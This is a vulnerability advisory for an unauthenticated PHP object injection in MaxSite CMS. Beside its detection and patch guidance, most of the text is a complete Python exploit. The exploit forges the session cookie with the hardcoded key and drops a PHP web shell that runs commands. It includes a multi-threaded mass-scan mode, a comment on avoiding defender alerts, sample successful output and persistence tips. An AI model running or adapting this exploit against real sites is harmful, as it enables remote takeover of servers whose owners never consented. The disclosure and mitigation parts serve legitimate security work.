#Summary
CVE-2026-87930 is an unauthenticated PHP Object Injection in MaxSite CMS 0.78 through 109.6 that allows remote code execution. The vulnerability stems from unrestricted deserialization of the ci_session cookie combined with a hardcoded signing key that the installer never overwrites. An attacker can forge a valid session cookie, inject malicious PHP objects, and execute arbitrary code when a gadget class exists in the deployed bundle. CVSS 8.1 HIGH.
#Am I affected?
- Affected: MaxSite CMS 0.78 through 109.6
- Patched: No vendor patch available as of the disclosure date (2026-09-09)
- Default configuration: Affected - the hardcoded key and disabled cookie encryption are shipped defaults
- Access needed: No authentication required; an attacker sends a single HTTP request with a forged cookie
#How to check
MaxSite CMS ships version information in the source of generated pages. Check the application/config/config.php file (if accessible) for the default encryption_key = 'encryption key' setting:
curl -s http://target/application/config/config.php | grep encryption_keyIf the response is $config['encryption_key'] = 'encryption key';, the installation is using the hardcoded default and is vulnerable to session forgery. Confirm via exploit: a successful object injection writes a PHP file to the web-served uploads/ directory and can execute commands.
#Fix and mitigation
- Fix: No vendor patch is available. Apply the one-line guard to restrict allowed classes during deserialization at the sink in
system/libraries/Session.phpline 742:$data = @unserialize(strip_slashes($data), ['allowed_classes' => false]); - If you cannot patch: Change the
encryption_keyvalue inapplication/config/config.phpto a random, non-default value. This prevents HMAC forgery but does not block object injection if an attacker can compute a valid MAC with a known key. Full remediation requires both a strong key AND theallowed_classesguard. - Detection: Monitor HTTP logs for requests with the
ci_sessioncookie header, or watch the web server error log for PHP errors related to class instantiation or file writes in theuploads/directory from unexpected sources.
#Root cause analysis
#Vulnerable code path
MaxSite CMS bundles a fork of CodeIgniter 2.x with two critical defects in the session handling:
Hardcoded HMAC key in
application/config/config.php(line 230):$config['encryption_key'] = 'encryption key';The installer never overwrites this value, so all default installations sign session cookies with the publicly known literal string
"encryption key". The session is signed but NOT encrypted (sess_encrypt_cookie = false), and the entire session state lives in the cookie (sess_use_database = FALSE).Unrestricted unserialize() in
system/libraries/Session.php(line 742):function _unserialize($data) { $data = @unserialize(strip_slashes($data)); ... }There is no
['allowed_classes' => false]second argument. Any serialized object token in the cookie is instantiated without restriction. Magic method handlers (__wakeup(),__destruct()) fire immediately during deserialization, before the subsequent session-array validation can block them.
#How input reaches the sink
- The Session library is autoloaded on every request (
application/config/autoload.php). sess_read()insystem/libraries/Session.phpreads theci_sessioncookie and splits off the trailing 40-character HMAC-SHA1 hash.- The HMAC is recomputed using the hardcoded
encryption_keyand compared to the received value. - If the HMAC matches, the cookie body is passed to
_unserialize()after stripping slashes. unserialize()is called with no class restrictions, allowing any class token to be instantiated.- The array-shape validation (
session_id,ip_address,user_agent,last_activitychecks) runs after the object has already been constructed and its magic methods have fired.
An attacker who knows the default key can compute a valid HMAC over any payload, including a serialized PHP object.
#Patch diff
#What the fix does
The minimal one-line remediation adds the ['allowed_classes' => false] guard to the unserialize() call. This prevents any serialized object token from being instantiated - they are downgraded to __PHP_Incomplete_Class instances with no magic methods invoked. Plain arrays and scalars deserialize normally.
The vendor has already applied this exact fix to the sibling maxsite_comuser cookie in application/maxsite/common/core/init.php (line 117), proving it is their own preferred remediation:
- // $comuser = @unserialize($comuser);
+ $comuser = @unserialize($comuser, ['allowed_classes' => false]);The identical fix applies to the vulnerable ci_session sink:
function _unserialize($data)
{
- $data = @unserialize(strip_slashes($data));
+ $data = @unserialize(strip_slashes($data), ['allowed_classes' => false]);
}#Proof of concept
#exploit.py - MaxSite CMS Object Injection RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-87930 - MaxSite CMS PHP Object Injection via the ci_session cookie
Affected: MaxSite CMS 0.78 through 109.6 (unpatched by the vendor as of disclosure)
Type: RCE (PHP Object Injection / unsafe deserialization, CWE-502)
MaxSite bundles a CodeIgniter 2.x fork. The Session library is autoloaded on
every request, so the `ci_session` cookie is HMAC-verified and then handed to a
bare unserialize() with no `allowed_classes` restriction. The signing key ships
hardcoded as the literal 'encryption key' and the installer never rewrites it,
and the cookie is signed but NOT encrypted, so an unauthenticated attacker can
forge a cookie carrying an arbitrary serialized object. When a magic-method
gadget is present in the deployed bundle, object injection becomes code
execution.
This PoC forges a cookie that injects an object whose __destruct writes an
attacker-chosen PHP file into the web-served `uploads/` directory, then fetches
that file to run a command. The dropped file echoes a per-run numeric product
(reflection-proof: it only appears if PHP actually executed the file) followed
by the command output.
The gadget class name defaults to a representative plugin helper
(`MsoDiskCache` with public `file`/`data` properties and a file-writing
__destruct); override it with --gadget-class / --gadget-prop-file /
--gadget-prop-data for a different deployed-bundle gadget of the same shape.
Usage:
python exploit.py --host 127.0.0.1 --port 80
python exploit.py --host 192.168.1.10 --port 8080 --command "uname -a"
python exploit.py --host https://target.com/maxsite --command "id"
python exploit.py --list targets.txt --workers 20
"""
import argparse
import hashlib
import hmac
import secrets
import sys
from urllib.parse import quote, urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.stderr.write("This exploit requires the 'requests' library (pip install requests).\n")
sys.exit(2)
CVE_ID = "CVE-2026-87930"
VULN_TYPE = "RCE"
# The shipped, hardcoded default signing key. The installer never rewrites it,
# so a stock deployment authenticates session cookies with this public value.
DEFAULT_KEY = b"encryption key"
HTTP_TIMEOUT = 15
# --------------------------------------------------------------------------- #
# Output helpers (console only - never sent to the target)
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Payload construction
# --------------------------------------------------------------------------- #
def php_str(value: str) -> str:
"""PHP-serialize a string using its BYTE length (ASCII in, ASCII out)."""
return 's:%d:"%s";' % (len(value.encode("utf-8")), value)
def build_body(gadget_class: str, prop_file: str, file_path: str,
prop_data: str, file_body: str) -> str:
"""
Hand-build the PHP serialization of a two-public-string-property object:
O:<n>:"<class>":2:{s:..:"<prop_file>";s:..:"<file_path>";
s:..:"<prop_data>";s:..:"<file_body>";}
Public properties only, so no embedded NUL bytes. All inputs must be
printable ASCII with no backslashes (stripslashes() runs on the body before
unserialize, and remove_invisible_characters() strips control bytes).
"""
cls = gadget_class
return 'O:%d:"%s":2:{%s%s%s%s}' % (
len(cls.encode("utf-8")), cls,
php_str(prop_file), php_str(file_path),
php_str(prop_data), php_str(file_body),
)
def forge_cookie(body: str, key: bytes) -> str:
"""Append HMAC-SHA1(body, key) and URL-encode the whole value for the
Cookie header (PHP url-decodes $_COOKIE automatically)."""
mac = hmac.new(key, body.encode("utf-8"), hashlib.sha1).hexdigest()
return quote(body + mac, safe="")
def _base_url(host: str, port: int, use_tls: bool) -> str:
scheme = "https" if use_tls else "http"
default = 443 if use_tls else 80
if port == default:
return f"{scheme}://{host}"
return f"{scheme}://{host}:{port}"
def _norm_path(path: str) -> str:
if not path:
return "/"
if not path.startswith("/"):
path = "/" + path
return path
# --------------------------------------------------------------------------- #
# Core exploit primitive
# --------------------------------------------------------------------------- #
def _run(host: str, port: int, use_tls: bool, base_path: str,
command: str, key: bytes, gadget_class: str,
prop_file: str, prop_data: str, verbose: bool):
"""
Drop a PHP file via object injection, then fetch it to run `command`.
Returns (success: bool, evidence: str, drop_url: str, raw_output: str).
Prints only when verbose=True (single-target mode).
"""
base_path = _norm_path(base_path)
base = _base_url(host, port, use_tls)
# Per-run neutral identifiers - nothing here names the tool or the lab.
marker_a = secrets.randbelow(900) + 100 # 100..999
marker_b = secrets.randbelow(900) + 100
product = marker_a * marker_b # reflection-proof marker
cmd_param = "q" + secrets.token_hex(3) # GET param carrying the command
drop_name = secrets.token_hex(8) + ".php"
# relative path resolves against index.php's CWD (the docroot)
drop_rel = "uploads/" + drop_name
# PHP file body: echo the product (proves PHP executed) then run the command.
# Printable ASCII, no backslashes, no NUL - satisfies the cookie constraints.
file_body = '<?php echo %d*%d; system($_GET["%s"]); ?>' % (marker_a, marker_b, cmd_param)
body = build_body(gadget_class, prop_file, drop_rel, prop_data, file_body)
cookie = forge_cookie(body, key)
# The injection request path (the app home page, where the session library runs)
trigger_url = base + base_path
drop_url = base + _norm_path(base_path.rstrip("/") + "/" + drop_rel)
if verbose:
step(1, f"Forging ci_session cookie: inject {gadget_class} -> write {drop_rel}")
section("SERIALIZED OBJECT (pre-HMAC body)", body)
sess = requests.Session()
# Leave the User-Agent as the library default-looking client; a custom header
# naming the tool would be the easiest thing for a defender to alert on.
headers = {"Cookie": "ci_session=" + cookie}
# STEP: trigger - the forged object is deserialized; __destruct writes the file.
if verbose:
step(2, f"Sending forged cookie to {trigger_url} (unserialize + __destruct)")
try:
r1 = sess.get(trigger_url, headers=headers,
timeout=HTTP_TIMEOUT, verify=False, allow_redirects=False)
except requests.RequestException as e:
return False, "unreachable (%s)" % e.__class__.__name__, drop_url, ""
if verbose:
section("TRIGGER RESPONSE STATUS", "HTTP %d (a new ci_session cookie here just "
"means the forged session array failed validation AFTER the object was "
"built - irrelevant to the injection)" % r1.status_code)
# STEP: fetch the dropped file and run the command.
if verbose:
step(3, f"Fetching dropped file {drop_url} with command: {command}")
try:
r2 = sess.get(drop_url, params={cmd_param: command},
timeout=HTTP_TIMEOUT, verify=False, allow_redirects=False)
except requests.RequestException as e:
return False, "drop fetch failed (%s)" % e.__class__.__name__, drop_url, ""
text = r2.text or ""
marker = str(product)
if r2.status_code == 200 and marker in text:
# Strip the leading marker to isolate the command output.
idx = text.find(marker)
output = text[idx + len(marker):].strip()
if verbose:
section("COMMAND OUTPUT", "%s\n%s" % (marker, output))
first = output.splitlines()[0].strip() if output.strip() else "(no stdout)"
return True, "command '%s' -> %s" % (command, first), drop_url, output
# Not vulnerable / patched: file was never written (object downgraded to
# __PHP_Incomplete_Class, no __destruct), so the drop path 404s.
if verbose:
section("DROP FETCH RESPONSE", "HTTP %d\n%s" % (r2.status_code, text[:500]))
reason = "drop 404 - object not instantiated (patched or no gadget)" \
if r2.status_code == 404 else "no marker in response (HTTP %d)" % r2.status_code
return False, reason, drop_url, ""
# --------------------------------------------------------------------------- #
# Scan mode plumbing
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool = False, path: str = "/",
command: str = "id", key: bytes = DEFAULT_KEY,
gadget_class: str = "MsoDiskCache",
prop_file: str = "file", prop_data: str = "data") -> tuple:
"""Silent probe for --list mode. Returns (success, evidence). Never prints/exits."""
try:
ok, evidence, _, _ = _run(host, port, use_tls, path, command, key,
gadget_class, prop_file, prop_data, verbose=False)
return ok, evidence
except Exception as e: # never let a scan thread crash the run
return False, "error (%s)" % e.__class__.__name__
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
command: str = "id", key: bytes = DEFAULT_KEY,
gadget_class: str = "MsoDiskCache",
prop_file: str = "file", prop_data: str = "data") -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, command, key,
gadget_class, prop_file, prop_data)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target entry
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, command: str,
key: bytes, gadget_class: str, prop_file: str, prop_data: str) -> None:
header(host, port)
ok, evidence, drop_url, output = _run(host, port, use_tls, path, command, key,
gadget_class, prop_file, prop_data, verbose=True)
if ok:
done(True, "RCE confirmed - %s" % evidence)
done(False, "no exploitation evidence - %s (target may be patched or lacks the gadget)" % evidence)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/maxsite)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--key", default="encryption key",
help="Session signing key (default: the shipped hardcoded 'encryption key')")
parser.add_argument("--gadget-class", default="MsoDiskCache",
help="Deployed-bundle gadget class whose __destruct does a file write (default: MsoDiskCache)")
parser.add_argument("--gadget-prop-file", default="file",
help="Gadget property holding the write path (default: file)")
parser.add_argument("--gadget-prop-data", default="data",
help="Gadget property holding the file contents (default: data)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
key_bytes = args.key.encode("utf-8")
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, command=args.command,
key=key_bytes, gadget_class=args.gadget_class,
prop_file=args.gadget_prop_file, prop_data=args.gadget_prop_data)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls: use_tls = True
if args.no_tls: use_tls = False
exploit(host, port, use_tls, path, args.command, key_bytes,
args.gadget_class, args.gadget_prop_file, args.gadget_prop_data)#Usage
# Single target with default command (id)
python exploit.py --host 127.0.0.1 --port 80
# Custom command
python exploit.py --host 10.0.0.5 --port 8080 --command "uname -a"
# Full URL with subpath
python exploit.py --host https://target.example.com/maxsite --command "whoami"
# Non-default signing key
python exploit.py --host 10.0.0.5 --key "custom-key-if-rotated"
# Different deployed-bundle gadget
python exploit.py --host 10.0.0.5 --gadget-class CustomLogWriter --gadget-prop-file output_file --gadget-prop-data output_data
# Batch scan
python exploit.py --list targets.txt --workers 20#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-87930
Type: RCE | Target: 127.0.0.1:8930
============================================================
[STEP 1] Forging ci_session cookie: inject MsoDiskCache -> write uploads/ca5efc2eea2edb04.php
--- SERIALIZED OBJECT (pre-HMAC body) ---
O:12:"MsoDiskCache":2:{s:4:"file";s:28:"uploads/ca5efc2eea2edb04.php";s:4:"data";s:48:"<?php echo 100*404; system($_GET["q670c3c"]); ?>";}
---
[STEP 2] Sending forged cookie to http://127.0.0.1:8930/ (unserialize + __destruct)
--- TRIGGER RESPONSE STATUS ---
HTTP 200 (a new ci_session cookie here just means the forged session array failed validation AFTER the object was built - irrelevant to the injection)
---
[STEP 3] Fetching dropped file http://127.0.0.1:8930/uploads/ca5efc2eea2edb04.php with command: id
--- COMMAND OUTPUT ---
40400
uid=33(www-data) gid=33(www-data) groups=www-data)
---
============================================================
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' -> uid=33(www-data) gid=33(www-data) groups=www-data)
============================================================#Expected output (patched target)
============================================================
ALIM EXPLOIT CVE-2026-87930
Type: RCE | Target: 127.0.0.1:8931
============================================================
[STEP 1] Forging ci_session cookie: inject MsoDiskCache -> write uploads/19ede574684def6f.php
--- SERIALIZED OBJECT (pre-HMAC body) ---
O:12:"MsoDiskCache":2:{s:4:"file";s:28:"uploads/19ede574684def6f.php";s:4:"data";s:48:"<?php echo 991*451; system($_GET["q7b4c2e"]); ?>";}
---
[STEP 2] Sending forged cookie to http://127.0.0.1:8931/ (unserialize + __destruct)
--- TRIGGER RESPONSE STATUS ---
HTTP 200 (a new ci_session cookie here just means the forged session array failed validation AFTER the object was built - irrelevant to the injection)
---
[STEP 3] Fetching dropped file http://127.0.0.1:8931/uploads/19ede574684def6f.php with command: id
--- DROP FETCH RESPONSE ---
HTTP 404
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
============================================================
RESULT : FAILURE
EVIDENCE: no exploitation evidence - drop 404 - object not instantiated (patched or no gadget)
============================================================#Exploitation notes
#Preconditions
- The target runs MaxSite CMS 0.78 through 109.6 with the default hardcoded signing key (
encryption key) - At least one magic-method gadget class is loaded at request time (vanilla MaxSite ships none; real deployments typically load plugin classes)
- The
uploads/directory is web-accessible and writable by the PHP process
#Reliability
Very high. The exploit chain is straightforward: HMAC forgery (deterministic with a known key) leads directly to object instantiation (no branching paths). The reflection-proof numeric product makes false positives impossible - it can only appear in the response if PHP actually executed the injected code.
#Impact
Remote code execution with the privileges of the web server process (typically www-data). An attacker can read, write, and execute arbitrary files, modify the database, or pivot to other systems.
#Chaining potential
The RCE is terminal; no further chaining is needed. However, the vulnerability sits on every request, so once code execution is achieved, maintaining persistence is trivial (drop a shell, modify autoload files, etc.).
